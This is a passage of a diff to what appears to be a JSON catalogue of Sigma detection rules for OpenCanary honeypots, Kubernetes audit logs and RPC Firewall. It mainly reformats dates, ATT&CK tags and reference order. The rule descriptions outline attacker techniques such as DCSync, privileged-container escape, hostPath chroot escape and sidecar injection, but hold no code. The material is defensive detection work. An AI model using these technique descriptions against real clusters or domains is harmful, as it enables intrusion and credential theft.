"https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ssh_login_attempt.yml" ], "tags": [ - "attack.initial_access", - "attack.lateral_movement", + "attack.initial-access", + "attack.lateral-movement", "attack.persistence", "attack.t1133", "attack.t1021", @@ -84430,7 +84536,7 @@ "description": "Detects instances where a MySQL service on an OpenCanary node has had a login attempt.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84439,12 +84545,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_mysql_login_attempt.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.collection", "attack.t1003", "attack.t1213" @@ -84473,7 +84579,7 @@ "description": "Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84482,12 +84588,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_redis_command.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.collection", "attack.t1003", "attack.t1213" @@ -84516,7 +84622,7 @@ "description": "Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.\n", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84525,12 +84631,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_mssql_login_sqlauth.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.collection", "attack.t1003", "attack.t1213" @@ -84559,7 +84665,7 @@ "description": "Detects instances where a Telnet service on an OpenCanary node has had a login attempt.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84568,13 +84674,13 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_telnet_login_attempt.yml" ], "tags": [ - "attack.initial_access", - "attack.command_and_control", + "attack.initial-access", + "attack.command-and-control", "attack.t1133", "attack.t1078" ] @@ -84602,7 +84708,7 @@ "description": "Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.\n", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84611,12 +84717,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_mssql_login_winauth.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.collection", "attack.t1003", "attack.t1213" @@ -84645,7 +84751,7 @@ "description": "Detects instances where an HTTP service on an OpenCanary node has received a GET request.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84654,12 +84760,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_http_get.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -84679,7 +84785,7 @@ "description": "Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84688,8 +84794,8 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ntp_monlist.yml" ], "tags": [ @@ -84713,7 +84819,7 @@ "description": "Detects enumeration of Kubernetes secrets.", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "The Kubernetes dashboard occasionally accesses the kubernetes-dashboard-key-holder secret" ], @@ -84745,7 +84851,7 @@ "description": "Detects when Kubernetes Secrets are Modified or Deleted.\n", "meta": { "author": "kelnage", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Secrets being modified or deleted may be performed by a system administrator.", "Automated processes may need to take these actions and may need to be filtered." @@ -84760,7 +84866,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_secrets_modified_or_deleted.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "58d31a75-a4f8-4c40-985b-373d58162ca2", @@ -84770,7 +84876,7 @@ "description": "Detects attempts to execute remote commands, within a Pod's container using e.g. the \"kubectl exec\" command.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Legitimate debugging activity. Investigate the identity performing the requests and their authorization." ], @@ -84802,7 +84908,7 @@ "description": "Detects when a Kubernetes Rolebinding is created or modified.\n", "meta": { "author": "kelnage", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Modifying a Kubernetes Rolebinding may need to be done by a system administrator.", "Automated processes may need to take these actions and may need to be filtered." @@ -84812,12 +84918,12 @@ "logsource.category": "No established category", "logsource.product": "kubernetes", "refs": [ - "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://medium.com/@seifeddinerajhi/kubernetes-rbac-privilege-escalation-exploits-and-mitigations-26c07629eeab", + "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_rolebinding_modification.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "10b97915-ec8d-455f-a815-9a78926585f6", @@ -84827,7 +84933,7 @@ "description": "Detects creation of new Kubernetes service account, which could indicate an attacker's attempt to persist within a cluster.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -84859,7 +84965,7 @@ "description": "Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.\n", "meta": { "author": "kelnage", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Modifying the Kubernetes Admission Controller may need to be done by a system administrator.", "Automated processes may need to take these actions and may need to be filtered." @@ -84869,14 +84975,14 @@ "logsource.category": "No established category", "logsource.product": "kubernetes", "refs": [ - "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://security.padok.fr/en/blog/kubernetes-webhook-attackers", + "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_change_admission_controller.yml" ], "tags": [ "attack.persistence", "attack.t1078", - "attack.credential_access", + "attack.credential-access", "attack.t1552", "attack.t1552.007" ] @@ -84911,7 +85017,7 @@ "description": "Detects when a request to the Kubernetes API is rejected due to lack of authorization or due to an expired authentication token being used.\nThis may indicate an attacker attempting to leverage credentials they have obtained.\n", "meta": { "author": "kelnage", - "creation_date": "2024/04/12", + "creation_date": "2024-04-12", "falsepositive": [ "A misconfigured RBAC policy, a mistake by a valid user, or a wider issue with authentication tokens can also generate these errors." ], @@ -84920,12 +85026,12 @@ "logsource.category": "No established category", "logsource.product": "kubernetes", "refs": [ - "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://www.datadoghq.com/blog/monitor-kubernetes-audit-logs/#monitor-api-authentication-issues", + "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_unauthorized_unauthenticated_actions.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "0d933542-1f1f-420d-97d4-21b2c3c492d9", @@ -84935,7 +85041,7 @@ "description": "Detects when a Kubernetes CronJob or Job is created or modified.\nA Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule.\nAn adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.\n", "meta": { "author": "kelnage", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Modifying a Kubernetes Job or CronJob may need to be done by a system administrator.", "Automated processes may need to take these actions and may need to be filtered." @@ -84945,13 +85051,13 @@ "logsource.category": "No established category", "logsource.product": "kubernetes", "refs": [ - "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://www.redhat.com/en/blog/protecting-kubernetes-against-mitre-attck-persistence#technique-33-kubernetes-cronjob", + "https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_cronjob_modification.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.execution" ] }, @@ -84962,7 +85068,7 @@ "description": "Detects identities attempting to enumerate their Kubernetes RBAC permissions.\nIn the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment.\nIn a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a \"kubectl auth can-i --list\" command.\nThis will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -85002,7 +85108,7 @@ "description": "Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods.\nSystem pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names.\nAttackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection.\nDeployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "System components such as daemon-set-controller and kube-scheduler also create pods in the kube-system namespace" ], @@ -85034,7 +85140,7 @@ "description": "Detects creation of a container with a hostPath mount.\nA hostPath volume mounts a directory or a file from the node to the container.\nAttackers who have permissions to create a new pod in the cluster may create one with a writable hostPath volume and chroot to escape to the underlying node.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "The DaemonSet controller creates pods with hostPath volumes within the kube-system namespace." ], @@ -85067,7 +85173,7 @@ "description": "Detects when events are deleted in Kubernetes.\nAn adversary may delete Kubernetes events in an attempt to evade detection.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -85099,7 +85205,7 @@ "description": "Detects the creation of a \"privileged\" container, an action which could be indicative of a threat actor mounting a container breakout attacks.\nA privileged container is a container that can access the host with all of the root capabilities of the host machine. This allows it to view, interact and modify processes, network operations, IPC calls, the file system, mount points, SELinux configurations etc. as the root user on the host.\nVarious versions of \"privileged\" containers can be specified, e.g. by setting the securityContext.privileged flag in the resource specification, setting non-standard Linux capabilities, or configuring the hostNetwork/hostPID fields\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -85109,8 +85215,8 @@ "logsource.product": "kubernetes", "refs": [ "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Privileged%20container/", - "https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html#privilegeescalation-kubernetes-privilegedcontainer", "https://www.elastic.co/guide/en/security/current/kubernetes-container-created-with-excessive-linux-capabilities.html", + "https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html#privilegeescalation-kubernetes-privilegedcontainer", "https://www.elastic.co/guide/en/security/current/kubernetes-pod-created-with-hostnetwork.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_privileged_pod_creation.yml" ], @@ -85134,7 +85240,7 @@ "description": "Detects the removal of a deployment from a Kubernetes cluster.\nThis could indicate disruptive activity aiming to impact business operations.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -85166,7 +85272,7 @@ "description": "Detects attempts to inject a sidecar container into a running deployment.\nA sidecar container is an additional container within a pod, that resides alongside the main container.\nOne way to add containers to running resources like Deployments/DeamonSets/StatefulSets, is via a \"kubectl patch\" operation.\nBy injecting a new container within a legitimate pod, an attacker can run their code and hide their activity, instead of running their own separated pod in the cluster.\n", "meta": { "author": "Leo Tsaousis (@laripping)", - "creation_date": "2024/03/26", + "creation_date": "2024-03-26", "falsepositive": [ "Unknown" ], @@ -85199,7 +85305,7 @@ "description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Remote administrative tasks on Windows Events" ], @@ -85223,7 +85329,7 @@ "description": "Detects remote RPC calls to read information about scheduled tasks via SASec", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85232,9 +85338,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" ], @@ -85249,7 +85355,7 @@ "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Legitimate usage of remote file encryption" ], @@ -85258,14 +85364,14 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", + "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", - "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" ], "tags": [ - "attack.lateral_movement" + "attack.lateral-movement" ] }, "uuid": "5f92fff9-82e2-48eb-8fc1-8b133556a551", @@ -85275,7 +85381,7 @@ "description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Some administrative tasks on remote host" ], @@ -85285,12 +85391,12 @@ "logsource.product": "rpc_firewall", "refs": [ "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.003", "attack.t1047" ] @@ -85318,7 +85424,7 @@ "description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85327,14 +85433,14 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1053", "attack.t1053.002" ] @@ -85362,7 +85468,7 @@ "description": "Detects remote RPC calls to create or execute a scheduled task", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85371,14 +85477,14 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1053", "attack.t1053.002" ] @@ -85406,7 +85512,7 @@ "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85415,10 +85521,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" ], "tags": [ @@ -85442,7 +85548,7 @@ "description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Actual printing" ], @@ -85451,16 +85557,16 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", + "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" ], "tags": [ - "attack.lateral_movement" + "attack.lateral-movement" ] }, "uuid": "bc3a4b0c-e167-48e1-aa88-b3020950e560", @@ -85470,7 +85576,7 @@ "description": "Detects remote RPC calls to create or execute a scheduled task via SASec", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85479,14 +85585,14 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1053", "attack.t1053.002" ] @@ -85514,7 +85620,7 @@ "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Administrative tasks on remote services" ], @@ -85523,14 +85629,14 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1569.002" ] }, @@ -85550,7 +85656,7 @@ "description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85559,10 +85665,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", + "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", - "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" ], "tags": [ @@ -85586,7 +85692,7 @@ "description": "Detects remote RPC calls to read information about scheduled tasks", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85595,9 +85701,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" ], @@ -85612,7 +85718,7 @@ "description": "Detects remote RPC calls to modify the registry and possible execute code", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Remote administration of registry values" ], @@ -85628,7 +85734,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1112" ] }, @@ -85648,7 +85754,7 @@ "description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85657,9 +85763,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" ], @@ -85674,7 +85780,7 @@ "description": "Detects remote RPC calls to collect information", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Remote administration of registry values" ], @@ -85700,7 +85806,7 @@ "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", "meta": { 